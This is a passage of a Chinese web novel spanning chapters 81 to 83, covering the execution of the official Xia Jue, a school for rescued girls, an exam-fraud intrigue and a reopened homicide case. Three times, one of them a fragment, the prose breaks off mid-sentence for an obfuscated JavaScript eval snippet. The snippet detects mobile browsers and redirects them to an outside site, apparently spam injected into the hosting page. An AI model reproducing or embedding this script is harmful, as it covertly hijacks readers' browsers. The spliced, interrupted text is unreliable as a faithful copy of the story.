这里荒了很久,后院播下的菜种竟长得很好,和一应杂草相处得格外融洽,想来是地底下那位仁兄的作用。望涯锄了草,也摘了菜,先到厨下净手,接着进到灵堂。 “二老莫怪,实在是有事耽搁。” 望涯朝灵位磕了三下头,上了香,点了烛,接着搬上火盆到院里烧纸钱,烧了许久才肯收手,再回到灵堂,将盼儿的牌位拿下来仔细擦净,另外上了香烛纸钱。 除此之外,再解下腰间的锦囊,将里头的东西倒进火盆,这是从夏珏嘴里拔出来的牙齿,一颗不落。另有一些文书,是她抄录的夏珏案的结案文书。 “本来想中元给你,可转念一想,不好在节日里叫你看见脏东西。” 望涯自顾说着,抬手往火盆里多塞了纸钱,偏要里头的火越烧越大,她后退几步,静静看着火焰逐渐熄灭。 她抬头,看见屋檐上排了几只小鸟,叽叽喳喳的不知在交谈些什么,大抵是欢快的事情吧。 望涯收拾好火盆,又四处打扫干净,这才有心情继续整理菜地,她终于是在白日里务农了。 望宅门口。 宋知看着眼前的残垣断壁,心里莫名有些不好受,那日宫变他并不在场,翌日前脚刚进翰林院,后脚就被逮住办事去了,夏珏的案子是要载入史册的,因此详情需得要同大理寺以及各部商讨出一个结果才好往上头写,于是他跑了一回大理寺,但并未见到望涯。 方才去了她的住所打听,得知她修缮宅子来了,可眼前也是空荡荡的没有人影。 望宅的后院塌着,宋知跨过去就能‘造访’,但他仍是等在一旁。先前望涯告诉自己,在那个关头不要揭发那位名为周熙的年兄,否则张行简地位动摇,不利于夏珏的案子,他只好答应,如今夏珏死期将近,他们必须先谋划好,商议商议该如何既保全张氏,又能彻查科考。 待到快要落日,望涯才缓缓走来,怀里报着些许木料,这是从木工坊拿回来的样子,倘若看好了,才好找他们多买些。 “你来啦。” 望涯将木料放下,接着扫了扫衣袖:“走,去金风楼。” 宋知跟在后头:“夏珏的案子进展如何?” “于我来说是差不多了,但于朝廷,才刚刚开始。” 明珍总也闲不住,此时还在柜台后面理账,听见有人进来,她抬头,见来人是望涯,赶忙起身:“哎呀!是小望大人,快快请进,包厢?” 望涯回头看看宋知,他如今打眼一看,不再像个穷书生,倒像个清廉的官人,因此明珍也不敢当着他的面喊她‘小望’了,望涯摇头,扶了下明珍,叫她不必从柜台后出来招呼:“没事,在堂上喝口饮子就好。” 二人寻了角落的桌椅坐下,望涯四下看了一圈,这才道:“周熙的事情该怎么办就怎么办,不必顾及谁的情面。” 宋知一怔,便问:“张少卿同样?” 望涯点头,跑堂的上了竹叶饮,闻着竟真有股清香,如今已是秋日,想来再过几日,金风楼里就不再做这样清爽的饮子了:“嗯,同样。” “那,那我就写状子提交大理寺?” 宋知小心翼翼问,他对这种事并不熟悉,所知道的也只有一个望涯了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422315|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不不,这是礼部的事。并且,不该由你揭发,此事牵扯甚广,但无论关于哪位,都是你我招惹不起的。” 赵邕想要借此打击张行简和望涯,这是一定的,可无论如何,张行简都有办法保全自己,望涯同样,因此,倘若案子里一定要有人背上那口锅,除了周熙以外,就是张仁昌了。 张仁昌狐朋狗友众多,还都是迂腐顽固的家伙,有些还在翰林院,而宋知区区一个编修,事发后未免会被张仁昌视为赵党,或者看成一位‘蠢如鹿豚’的书生,好一些的后果是仕途坎坷,坏一些的,恐怕就要遭殃了。 “那……” “林昭。” 望涯起身,将盏中的饮子一饮而下,此事与她无关,却也不能看见周熙占着别人的前途。 “我走了,明日西市夏珏行刑,得闲去看看。” 宋知连忙起身:“我来结。” “多谢。” 望涯回到住处,却在门前看见了杨胜。 “大郎喊您过去一趟。” 张行简的私宅已经打理得差不多,连仆人都添了许多生面孔。 “坐。” 望涯坐稳当了,她也知道张行简想问什么,先前夏珏刚刚立案,望涯为了稳住张行简,便将‘事关令尊’的风头放给了他,眼下,他正是来要债的。她道:“书生里头传,科考不公。” 张行简倒茶的手略微一顿,抬头看向望涯:“具体的消息呢?” “还在查。” 仆人上来一盏热茶,望涯看着,却不怎么想喝。 “何时发生的?” 望涯思索片刻,才答:“不清楚,先前知会你时,我也是才听见风声。” “哪儿来的风声?” 张行简又问。 “既是风声,又岂知从何而起?” 望涯吹了吹茶,使得小小的水面荡起了几层涟漪。 张行简沉默半晌,忽然问:“宋知可知情?” 望涯摇头,仍是说:“不清楚。” 张行简忽然发笑,一双眼睛紧紧盯着望涯,见她还在同那盏茶玩耍,丝毫没有把这件事情放在肚子里,不过这也正常,很久以前他们就商定了,张仁昌的事情,她不会管,如今肯透露风声已经是仁至义尽。 但她如今是自己的下属,利益捆绑着,如何能够置身事外? “不清楚……” 张行简重复着她的话,仿佛这是一句富有深意的哲理,需要逐字逐句嚼碎了才能尝到其中滋味。 “你们才见过面,就没聊到这件事么?” 望涯抬头,恰好对上张行简的目光,她对这很熟悉,在审案子时,他也是用这种目光看待刑架上的囚犯的。 “大人若是感兴趣,何不自己去问他。” 张行简多疑,无论望涯说什么,他只会相信她肚子里一定还有更多,非要用各种手段将它剖出来摊开再一一翻看。 张行简将手边的匣子交由仆人,示意将其拿给望涯,一面道:“近来见你沉稳许多,没想到脾气还是这样大。” 匣子里头装的是钱庄的交子,数额不小。 “宅子好好修缮,另外,杨胜总在我耳边吵,非要给你一匹好马,我却不清楚哪匹马的脾性适合你,如此你就自己去挑罢。” 望涯将匣子交还:“不必,我有。” 以往望涯想不明白,同张行简打交道,肚子里总有莫名的一股邪火,叫人想抡圆了胳膊扇过去,如今她知道了。张行简此人,话外很漂亮,话里却扎着毒针,诸如现在,旁人听来方才的对话并无不妥,可只有望涯明白,他在行‘逼供’之事,每当她有一点要戳破他面子功夫的苗头,他就会立马拿出窗纸糊上,叫别人看见的是他‘仁师’的一面。 “这是你应得的。” 81.名字 “你们是打京城来的?” “是,此番前来是想问问海贸事务,具体有哪些章程?” 贺川将钱袋往前递了递,眼前的孔目姓吕,虽为吏职,派头却像个十成十的大官,他将钱袋掂了掂,趁四下无人,动作利落地将其隐进衣袖中。 这才干咳几声:“你想要海贸,首先得申报,一是船上的货物,是瓷还是茶,二是人口,姓甚名谁,统共几位,三是去处,从何处来到何处去。申报完了,就给你发放公凭,再就是点检,确保你的货物里头没有军器铜钱,人口里头没有女口逃兵,这就能出航了。回来时先交市舶税,再博买,最后发公凭,就能走你们自个儿的销路了。” 贺微问:“博买是个什么意思?” “就是官府从你们手里头买货,诸如皮啊、鍮石,以及宾铁之类的。” 贺川点点头,从他手里领了能出口货物的单子,回到京城后好筹备。贺微接过一看,发现同自己先前准备的差不离。 二人告别吕孔目,又到码头去,预备从那儿搜罗消息,一是打听造船事宜,二是筹备船员,都不算是易事。 卢二等得有些不耐烦了,上头又烈日高悬,晒得人快要化成一滩泥水流入海河,就算是站在船荫底下也无济于事,只得一遍又一遍得擦汗。终于,见一马车停靠,从上头下来一大一小两位娘子,卢二赶忙上前,笑问道:“可是贺川,贺娘子?” 这是贺川托人打点到的关系,走海贸已有七年,长着一副宽脸,黝黑块头大,模样是挺靠谱的。 “是,这是我女儿,海贸是她要做的。” 贺川的笑脸上还带着几分自豪。 卢二一怔,贺川的名头他是听说过的,她把手伸到海上也不奇怪,但这贺微……明显还是个小娘子啊,怎么就敢做海上的生意了? 贺微点头,同样给他递了个钱袋子:“久等了卢叔,这是一点心意。” 先前等得再烦躁,如今掂量着钱袋的重量,压在心头的不满顿时就烟消云散了:“客气了,那咱们就看看?” “好!” 卢二虽然跑了那么长时间的海贸,可至今也没有一艘自己的商船:“这是东家的船,您看看,要是喜欢,我就问问他,哪儿造的船,把你们也介绍过去。” 贺微抬头,她头一回觉得自己竟如此渺小,光是船上的帆,就能压死二百个她了,上头的船员正在往下卸货,打眼一看,香料居多,又有珍珠皮货,再有硫磺苏木,还有一些她从未见过。 “这些,还有那些,都是冬日里出航,夏季里就带着蕃货回来,还有一些,或沉底,或遭劫掠,死无全尸。” 卢二放眼看去,数不尽的帆船停靠在岸,在海上浮浮沉沉。 “都是大船。” 贺微眼里没有卢二所说的什么海贼死尸,她只看见天高海阔。 “既是远洋,自然是要大船,就眼前这个,五千料,能载五六百人。不过也有小一些的,诸如那个,两千料。你们刚开始的话,一千料也足够了,试水嘛。” 一番打听后,事情便在贺微心里有了些模样,接下来就要赶回京城筹备了。她想着,既然要做,就得往大了做,像卢二说的‘试水’,下个一千料的,恐怕连本钱都不够回。“娘,我想着,要不趁此机会将商会巩固巩固?” 贺川也是有这个打算的,如今商会各自的心眼加起来得有上千个,一条商路分了十八回,争来斗去的,自己也快驾驭不住了,到时候非要遭人翻旧账不可,究其原因,不就是僧多肉少,要想解决,海贸是最好的选择了。 “先回京罢,看看他们怎么说。” …… 西市人头济济,都是来瞧热闹的。 来监刑的更是有一长串官员,为首的是赵宇,其次是张行简,最末排着一个望涯,她打了个哈欠,难得休沐,却还得披着官袍来看夏珏杀头,实在是晦气! 原本也能不用来的,可她还得带着秋心,如此就不得不出面了。 她这一来,就成为了夏珏以外的第二个看点。 “这就是那位女官?” “是她,查抄夏府那日,也是她带的兵马。” “真威风啊。” 妇人不禁感叹,一旁却有人反驳:“呵,你们女子就是见识短浅,只见她穿官袍,却不见其他,这才为官多久,就害得夏侯爷沦落至此,朝廷变得乌烟瘴气那是迟早的事儿。” 附和他的声量远高过反对他的,竟起了一阵骚动。 一孩童挣扎出人群,从大人们留出来一点可怜的缝隙里窥见望涯的身影,转头扯了扯娘亲:“阿娘,将来我也要当女官!” 这嗓子洪亮,竟嚎到了望涯的耳朵里,使她不觉挺直腰板,转而看向人群,试图找到那个想当女官的孩子,然而人头济济,她目光所及,仍是男人居多,他们形成一堵高墙,连凑热闹都要占据主位,他们长相不同,但投向自己的目光却出奇地一致。 “差不多了。” 一旁的梁佑生忽然道。 望涯抬头看看日头,确实是差不多了。 只见赵宇上前,张行简随后,二人确认了眼前的囚犯确为夏珏,签字画押,再回到位置上静候。 夏珏张口想说话,却被灌了一嘴萧瑟的秋风,从他脸上滑落的汗珠滴落在地上,一时竟分不清是汗还是血。 “殿下。” 有人提醒赵宇,赵宇点头,随即掷出火签:“行刑。” 手起刀落间,夏珏的脑袋掉落,在地上滚了两回,最终停下,死鱼一般的目光正正盯着望涯,他在死之前都想不明白,怎么会输得这样彻底。 仵作上场验尸,确保夏珏不会再活过来。 而望涯回头看向秋心,不知何处吹来的风模糊了她的视线,叫她看不清楚秋心的神情。 …… 纵横学院里头热闹非凡,尤其是后头的那排屋舍。 双儿刚从济慈庵回来,身后还领了一群比她大不了多少的小娘子,都是先前夏府被查抄前送往醉春风,又被秋心一口咬定已经烧成灰了的孩子。 如今她们在明面上都是死人,望涯也并不打算让她们再使用原来的户籍,转头去了育婴堂,从那儿买到凭证,说明她们本就是孤儿,等再过阵子风头过了,再借由育婴堂的手替她们办户籍。 而这个路子,是秋心给的。 “嘘!小点儿声,叫人听见了不好。” 原来双儿该带出来九个人的,可有两位选择留在济慈庵,她也不好强求,就带着余下的七位下山来了。 闻真端着水盆进来了,开始清点人数,加上双儿,如今学院里就有八名学生了:“来,都站好,换身干净的衣裳去拜师。” 院子里的张清正在同一套桌椅较劲,怎么看它都是歪的,于是扶了又扶,直到宋远华看不下去,开口道:“行了,已经很整齐,再扶它就要翻墙出去了。” 张清不好意思地笑笑,快步走到宋远华身旁,小声道:“我担心自己不能够做好。” “你当然可以。” 从前的张清温婉有礼,脸上从来都只挂着端庄的笑容,如今却也能从中看见点别的神情了,她会担心教不好学生,会整宿整宿地翻看书本,还记了一本厚厚的册子,决心倾囊相授。 “二娘。” 闻真身后跟了一串高高矮矮的小娘子,有些怯怯地藏在她身后,有些正满脸狐疑地打量四周。 她们并不知道自己下山做什么,只听双儿说有吃有住,不用干活,待满一阵子还能有新户籍,最重要的,是能读书认字,和夏珏说的一样,于是她们心如死灰,却不得不接受,因为她们需要活下去。 如今看见两位眉清目秀的小娘子,她们都怔在原地,更想不通了。 张清有些不知所措,宋远华抬手握了握她冰凉的指尖,道:“都先坐下吧。” 双儿撒开脚丫,站在离宋远华最近的桌椅旁,目光瞥了眼桌案上的书本,眼里满是稀罕,在此之前,她已经偷偷看过好多回,只是有些看不懂,只知道上头的图画十分生动可爱。 随着双儿的动作,其他人也在闻真的安排下站好,八人占满了四张桌椅。 双儿先行礼,接着嗓音洪亮:“夫子安好!” 身后的同窗也哗啦啦地行礼,仿着双儿的模样喊了几声夫子,这是先前闻真教导的,除此之外还有拜师礼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422316|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个学生叩头,老师就喝上一口茶,虽然比不得夫子庙里的礼仪,却也一应俱全。 流程走完,就各自落座,张清正要开始授课,却见学生中有一人迟迟不肯坐下,目光里流露出来的也叫她看不明白,张清正要询问,她却已经坐下了。 快要落日时,望涯带来了许多吃食,说是给她们贴秋膘。 “一晃竟已入秋了,我还总以为在夏日里。” 望涯挽起衣袖,她刚补完屋顶上的瓦片,此时正顺着梯子回到地面。 张清将手巾递给她,望涯接过,仔仔细细擦拭双手,不觉转头看看一院子的学生,双儿正在给她们发放望涯带来的瓜果,其中有位并不领情,有人瞥了眼她的脸色,竟将手头上拿着的又还了回去。 那位不领情的忽然看了过来,望涯心里隐隐有个猜测,她大抵叫关佑娣。夏府老管事的册子上记着下人的赏罚,其中被罚得最重的便是一位姓关的小娘子,原由是屡次出逃。 张清顺着望涯的目光看过去,随即道:“我正要同你说呢,不知为何,我见着她总觉得心里发毛。” 望涯攥了攥手巾:“我同她谈谈。” 于是路过她跟前,留下一句:“过来。” 她出了书院,外头是一片竹林,能隐隐看见西下的日头。身后传来一阵轻轻的脚步声,望涯俯身从地上拾起一枝竹叶把玩:“今日学了些什么?” 关佑娣不答,将脑袋别到一旁。 “你杀过人。” 望涯忽然道。 她这回有动静了,猛地抬头看向望涯:“我没有。” “我不信。” 望涯笑道。 “我真没有!” “证据?” 关佑娣支支吾吾半天,最终却只能愤愤地盯着望涯,憋红了脸,重复说着‘我没有’。 “看吧,不读书,吵架都吵不过人家。” 望涯盘腿坐下,开始编竹叶:“我不知道你在别扭什么,是不想念书?还是有其他打算?” 无论望涯怎么问,关佑娣都保持沉默,直到望涯说:“你不学可以,没人强迫你,可其他人呢?你不让她们好好学,可有问过她们的意愿?” 显然,关佑娣是她们之中的‘领头羊’,而她似乎在寻找逃脱的方法。 “你们究竟想做什么?” 关佑娣终于吭声,书院地处偏远,指不定又是什么达官贵人修建的,将她们养大,喂上一肚子墨水,再送进其他显贵的后宅供它们玩乐,更可恨的是,这些帮凶同马大娘一样,都是女子,却要替那些畜生做事。 此话一出,望涯就明白她的心思了,仔细想来也确实,她们把人从济慈庵带到这儿,莫名其妙开始教书,而学生们满心满眼的只有生存二字,她们先前过得太苦,见到的也都是一片污秽,有些人负责伺候夏珏,有些人会被夏珏‘赏赐’出去,再收回来,期间经历了什么,望涯都清楚。 有了那些经历,自然就不会相信世间能有宋远华和张清这样不求回报的夫子了。 望涯拿下腰间的牌子,这是进出皇城需要用到的:“我原来只是个小小的书坊掌柜,有一个聪明伶俐的学生,她的名字同你的差不多,一个叫盼儿,一个叫佑娣,不过你比她大了两岁,我瞧你入府的时间不短,你见过她吗?” 关佑娣怔在原地,先是惊讶于望涯知道她的名字和年岁,再就是,她认识胡盼儿,那回她夜逃夏府,没走出多远就被抓回去,被马大娘好一顿毒打,还是胡盼儿悄悄给她送了药。 “见过。” “我答应做她的老师,也收了她的铜板,却没能做到。你问我想做什么?” 望涯抬手敲了敲背后的墙:“这就是我的目的,把欠她的还干净。至于远华和张清想做什么,你可以自己问问她们。” 关佑娣看看那面墙,听双儿说原先这座院子破败不堪,是张清和宋远华以及闻真一砖一瓦修补好的,虽说手艺不怎么好看,但十分坚强,似乎能抵抗住话本里的洪水猛兽。 “名字。” 这回轮到望涯不明白了:“什么?” “夫子留的功课,让我们自己取一个名字。” 这是回答了望涯的第一个问题。 82.麻谷窠儿 沈泰还未到达北边,战报就已经收了好几回。 “阿翁?” 沈定西将汤面往前推了推,见沈泰面色不怎么样,便知情况不大乐观了。 “棘手啊。” 沈泰放下信纸,筷子拿起又放下。 沈定西接过信纸查看,去年是荒年,今年秋收的粮食还未核算,因此他们的粮草并不充沛。她放下信纸道:“阿翁,您还记得望涯吗?” 沈泰思索片刻,忽然回忆起年节里张行简带过来的小娘子:“那个学生?” “对,她如今在大理寺当职,先前北边战报传来时,她便猜测是夏珏里应外合,如今夏珏已然失势,宫变也已平息,没了夏珏,北栖恐怕也不敢再进。” 话音落下,沈泰的脸色更难看了:“你也知她在大理寺当职,对打仗的事情又如何能看得准确?倘若你真听信了她的猜测,那就是轻敌,上了战场是要吃大亏的!夏珏谋划宫变,筹谋了多久?数十年,北栖的筹谋会少于他吗?而我们呢?太平数十载,早已忘了刀剑怎么拿了。” 沈定西微怔,低下头不再说话。 “你说的望涯,别太相信她,那些弄权之臣,无一不是利欲熏心目下无尘,你还指望他们能看见天下黎民吗?” 在沈泰眼里,朝廷里早就四分五裂,一屋子人,各自有八百个心眼,满心满眼地算计钱权,勾心斗角,何曾正眼瞧过江山社稷? “莫大人也是么?” 沈泰一噎,顿时没了气性,莫时确实做过实事,早些年刚当上户部侍郎时,还是家徒四壁的,也曾因拒绝受贿,断了贪官的财路被套上麻袋揍了一回,翌日青着眼圈上朝去,到赵俨跟前哭了几个时辰,生生哭走了贪官。 “他不算。” 沈泰拿起筷子,这回倒是有胃口了。 “望涯能够进大理寺,里头也有莫大人的一份功劳,难不成是莫大人收受贿赂了?” 筷子再次被放下,沈泰欲言又止,仍是没能想出反驳的话来,却在心里对‘近朱者赤’有了更深的体会,从前的沈定西心直口快,哪里会像这般给人下圈套。 “趁热吃。” …… 张仁昌这头岁月安好,在夏珏的风波里,他的儿子乘势而上,成为了圣上眼前的红人,正是前途无量。 然而这位前途无量的儿子,忽然黑着脸回到家里,要查账! “爹,礼部的科考是否公正?” 张仁昌这个官当得并不清白,以往在地方上时就没少收受贿赂,后来回京升到尚书的位置上,明面上的次数是少了,可每回的数目涨得惊人,面子功夫也做得很漂亮。 张行简向来对他也是睁一只眼闭一只眼,毕竟是往自己家里捞银子,谁会嫌多呢?再者,亲爹都收了这么多年,什么该收什么不该收,自然晓得。 张仁昌的脸‘唰’地一下就绿了:“你这是何意?!” 见他这般,张行简略微松了口气,看来他是不知情的。 张仁昌在屋子里转了两圈,接着站定,这才从中咂摸出味儿来,他的同僚好友还未过问,也就说明事情还未成气候,想到这儿,他才定了定神,张口问:“发生何事了?” “前阵子书生里头传的风声,这两日倒是无波无澜。” 张行简从望涯下手,查到宋知,再摸到周熙,却见几方都没有动静,于是又给林昭以及孟修远递了拜帖,预备登门探探口风。 林昭同科考倒没什么关系,只因他在翰林院,耳朵也灵光。至于孟修远,他是主考官,放榜时争议也不小,倘若能把他拉下水,就算张仁昌被查,圣上或许也会看在他的份儿上‘从轻’。 与此同时,林昭先人一步,告到赵俨面前了。 “当真?” 赵俨手里把玩着新得来的紫砂壶,时不时将其高高举起,再拿回来仔细擦拭,非要把它擦得蹭光发亮。 “周熙此人,横看像草包,竖看更像草包,事情交到他手里,他总能还给臣一手烂泥,素日里的文章也是牛头不对马嘴,臣实在是心存疑虑,因此,请求陛下准许,着礼部复核。” 林昭行了个大礼,在此之前,他已经知会孟修远,想必他也正在赶来的路上了。 赵俨转而看向林昭,语气轻飘飘的,却意有所指:“难得朝中有你上心的事啊……” 言下之意是,你是不是被人当剑使了?至于是谁,思来想去,竟只剩一个庆王。 可换了任何人都有可能被使唤,唯独林昭不行,他生性懒惰,脑袋却灵光,轻易不会被算计,也知道其中的弯弯绕绕,因此多数时候不愿替旁人奔走劳累,除非是自愿。 看来这位周熙,是个纯正的草包,连林昭都看不下去了。 林昭听懂了赵俨的意思,于是命人呈上周熙所出的‘烂泥’,先前确实是望涯让自己将此事稍微压一压,到了火候再翻炒,他也照做了,同夏珏案相比,周熙确实值得缓一缓,然而现在夏珏的热闹过了,他也就不想再压。 同样,他也清楚此案会牵扯到谁,谁又会得利,但这同他有什么关系?他只知道,孟修远所选都是要能‘用’之人,先前孟修远夫妇同林昭以及望涯一同吃饭时就是如此,从一开始便是如此! 孟修远因此推翻以往的标准,被人指着鼻子骂到如今。一个治水的刘石,得由穆县的高县令,大理寺的望涯,以及户部的莫时层层举荐才得以入京,而周熙却能轻易地出入翰林院,这岂不是将他们的鸿鹄之志按在地上踩成了麻雀饼子? 赵俨看着眼前不知所云的文章,深深吸了口气,正要喊来孟修远,便有人来报:孟舍人求见。 当初主考统共有八位,孟修远入选一是因为赵俨,二是因为张仁昌,其次才是因他自己富有学识,而八位中有四位反对推倒从前的制度,经过一番争议后,终究是辩不过孟修远。如今出了这档子事,所有人都会下意识谴责孟修远做出的改变,因此他需要先查清楚,周熙究竟是因为什么进入的翰林院。 于是进殿,先拜皇帝,再提复核。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496573|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此间乱糟糟时,望涯正在霁月书坊里头。 于秋核算了书本的分成,将其一口气装进锦袋,一边还要说:“这位‘屠夫’倒是会耍官威,竟还要望司直亲自来取润笔。” 望涯笑笑:“顺道催催她的新作,不算麻烦。书坊近来如何?” “还成。” 于秋将脑袋凑近,瞥了眼后院的雅室,抬手遮住半张脸,小声笑道:“从前那些闹事的倒是没再来过霁月,不过听说去过熹微,被伙计赶出去了。” 又说:“往后来的书生虽说不多,大抵是不会如那些货色一样诽谤您的。还有…” 于秋抬手指了指楼梯处:“因为来的书生少,雅室一间也就够用了,我就将上头锁了,后来有小娘子问,能不能自己带屏风帘子,她们想借用雅室,又担心遇上犯浑的书生惹事生非。我就想,干脆上头给小娘子们读书好了,书生们在后院,泾渭分明,您猜如何?” 望涯饶有兴趣地往柜台上一趴,笑着说:“我猜不出来,你告诉我罢。” 于秋拿出账本,兴高采烈地说:“她们买了许多,就算有不买的,也会帮着店里做活计,叫我轻松不少呢。有些小娘子还写了稿子交给我,我瞧着有不错的就留下,可惜不多,编不成一册,我就想着多攒些,凑个合编。” 来雅室的大多是手头上宽裕,又喜读书的小娘子,因此出手大方利落,有些不大宽裕的,于秋也会悄悄的送些干果茶水。 二人又唠了许久,直到雅室的客人陆续出来结账,望涯这才告辞回到住处。 佟管事已经设好香案,另又买了香烛冥器,此时正在往桌子腿上系麻谷窠儿。 望涯回来时手上揣着两本新书,也来不及将书本归置好,就跟在佟管事身后问东问西,诸如“这是做什么用的?” “这叫什么?” “能吃吗?” 从前在安庆时大家也过中元,但也只是烧烧纸钱,县城里热闹些,可望涯极少过去凑热闹,于她来说,阿娘在节日里不发病就已经是最好的了,她不敢奢求同旁人一样能放花灯看鬼戏,因此对于节日里的习俗她不过是一知半解。 佟管事起身:“这叫麻谷窠儿,端午里也要系的,意思是告诉先祖,今年秋收很好。” 然而佟管事并不知道今年秋收如何,也不知道自己先祖姓甚名谁埋在哪个方位,节日里的习俗罢了。她总认为,无论在哪儿,身边有什么人,日子是否顺心,兜里有没有铜板,都不能在节日里亏待自己,倘若没能好好吃上一顿,那就安心睡上一觉。 望涯点点头,又见箩筐里装满各色冥器。 “这是祭孤用的。” “祭孤?” “就是烧给孤魂野鬼,叫他们吃饱穿暖,才不会在底下欺负先祖。南方称为‘施孤’,要比这隆重些。” 望涯点点头,从箩筐里挑出件大红大紫的纸衣,目不转睛爱不释手:“大娘,往后我要是成了鬼,您能不能给我烧件这个?” 佟管事一时语塞。 83.出使按狱 贺微无法赶在中元节前回到京城,于是修书给好友,叫她们若是出门放河灯,记得去敲敲望涯的宅门,别叫她自己在宅子里想起过往的伤心事。甚至在信里头打点好了望涯的行装,千叮咛万嘱咐不准让她自己选衣裳首饰。 然而她却没料到,望涯也无法过节了。 彼时她正在珠子铺前给双儿挑选头花,刚要朝一支紫红色的牡丹绒花下手,耳旁却传来杨胜的声音:“可算找到了!望司直,少卿叫您去一趟大理寺。” 望涯只得收手,原以为张行简是要过问周熙的案子,于是‘明知故问’的打算探探口风。可杨胜说:“是临江府的案子。” “临江府?” “是也,前两年,大郎舅舅家的四郎到过临江府,在那儿犯了一桩案子,是结案了的。近来四郎家里有意举荐他入朝为官,可这个案子不知怎的被人翻出来了,因此提了复核。” 望涯默声,一旁的杨胜似乎察觉到了什么,望涯十几岁的年纪,正是眼里容不得沙子,看不惯官场作风的时候,如今叫她做‘徇私枉法’的事情,想来她心里不会愿意。 于是笑道:“不是大案,也无弯弯绕绕,你只需到府衙核对卷宗,盖个印就成了。” 然而他揣度错了,望涯自打拜入张行简门下,早也做好了当‘狗官’的准备,眼下她愁的,是无法在贺微回来前把宅子修缮好。 大理寺。 张行简将一沓纸张交给望涯:“想来杨胜应该同你说过了,这桩案子好好办。” 望涯接过,一一翻看,确保公文、卷宗,以及出使令状齐全,再又收进挎包中。 案情不怎么复杂,张行简舅舅家的四郎,名为商秀,由于长得太过秀丽,在临江府的五仙山游玩时,被路过的山匪看中,并且欲对其行不轨之事,怎料商秀自幼习武,三两下就将山匪砍成了两段。 望涯点头:“案情大致了解了,只是还需见一见商家四郎。” 光凭言语公文,她无法判断真假,总得亲自探一探才好分辨,这也确实符合章程。 张行简绕到案后坐下,并不抬眼,只道:“想见便见,案子交到你手里,如何查是你的事。” “是。” 望涯正要走,忽然想起来什么,又回过身来,犹犹豫豫不知如何开口。 张行简复又起身,顺手从案上拿了卷宗,见她这般,便知又是要耍心眼了,于是道:“说。” “大人,此是私事还是公务?” 望涯确实猜不透,从案情来看并没有可疑之处,可从张行简以及门外的杨胜看来,很有需要‘徇私枉法’的意思,纠结之下,她选择挑明,因为此间是大理寺,张行简只能说是公务,而他一旦开口,望涯也就有了装傻充愣的机会。 倘若案子里有疑点,需要望涯睁一只眼闭一只眼时,她就可以搬出那句:“你说是公务,又没叫我徇私。” 怎料张行简并不吃这一套,他跨过门槛往外走去,只留下一句:“你说呢。” 望涯不疾不徐跟在后头,听这意思是‘你看着办’,她道:“那得给我匹好马。” 张行简回头瞥了眼身后的尾巴:“去问石寺丞要。” 望涯点头答应,不觉停下脚步,拿出公文仔细查看,发现上头写的是明日启程,那她今儿有得忙了,得交待好宅子后续事务,还要同书院那头知会一声,再有收拾行装,打听路线。 离开大理寺后,望涯正了正腰间的牌子,见商秀去了。 “你就是望司直?” 望涯点点头,面上镇定,心里却遭到了极大的震撼。眼前这位脸黑得像锅底,身上穿的衣裳十分新奇,发髻歪斜,手提大砍刀的壮汉,竟是传闻中长相秀丽漂亮的商秀。 “是,此番前来,是为核对两年前临江府…反杀山匪案的证词。” 商秀似乎回想起了不大好的事,不觉叹出一口气,接着屏退下人:“问罢。” “商四郎,烦请将案情从头道来。” 商秀有些为难,踟蹰良久,终是开口道:“时候我是记不清了,只记得当天我同归云小酌了几杯,一时兴起,便前往五仙山登高,到了半山腰时,忽然狂风大作,乌云蔽日,飞沙走石间,听见归云大声呵斥,我还未反应过来,就被人从后勒住脖子拖拽,好不容易挣扎开,恰好风沙停歇,四周寂静无声,归云同那伙贼人没了踪迹。 地上留有痕迹,我不能丢下归云不顾,于是寻这踪迹一路摸索到了贼窝,就在山顶上,两座屋子并在一块儿,门前栓着两匹马,一匹老的一匹小的。我在墙角听了半晌,并未听见动静,于是翻入墙内,找到间厢房,从窗户缝隙中窥见不省人事的归云,以及……” 望涯低头翻了翻卷宗,不觉挑眉,再抬头看向商秀,他已经憋红了脸,神似关公。 面对望涯投来询问的目光,商秀攥了攥拳头,愤愤地道:“以及正对归云上下其手的山匪。我一时没反应过来,忽略了身后的动静,竟未察觉到另一个贼人靠近,他再次将我的脖颈扼住,我记得当时有许多人,吵吵嚷嚷的,但都没看清面孔,后来……后来我也记不清发生了什么,人都不见了,等我回过神来,那山匪已然断成了两截,我手上拿着他的刀,想来是挣扎时夺过来的。” 卷宗上的判处大抵是‘原情定罪’,商秀是在情急之下将人杀害,并且前提是山匪欲对商秀行不轨之事,且有‘扼喉’这一举动,因此商秀挣扎反抗,混乱中将山匪杀害,并非仇杀或其他,加之死亡的山匪名为郝二九,是穷凶极恶之徒,在府衙的海捕文书上挂了好几年。 